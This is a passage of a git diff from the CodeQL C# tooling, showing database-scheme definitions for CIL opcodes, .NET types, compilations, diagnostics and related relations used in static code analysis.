@cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/eedef9359e1e4e1ebcf2a1dc9d2ae75d4ea4d160/semmlecode.csharp.dbscheme b/csharp/upgrades/eedef9359e1e4e1ebcf2a1dc9d2ae75d4ea4d160/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..cfaa4e90da2 --- /dev/null +++ b/csharp/upgrades/eedef9359e1e4e1ebcf2a1dc9d2ae75d4ea4d160/semmlecode.csharp.dbscheme @@ -0,0 +1,1891 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: 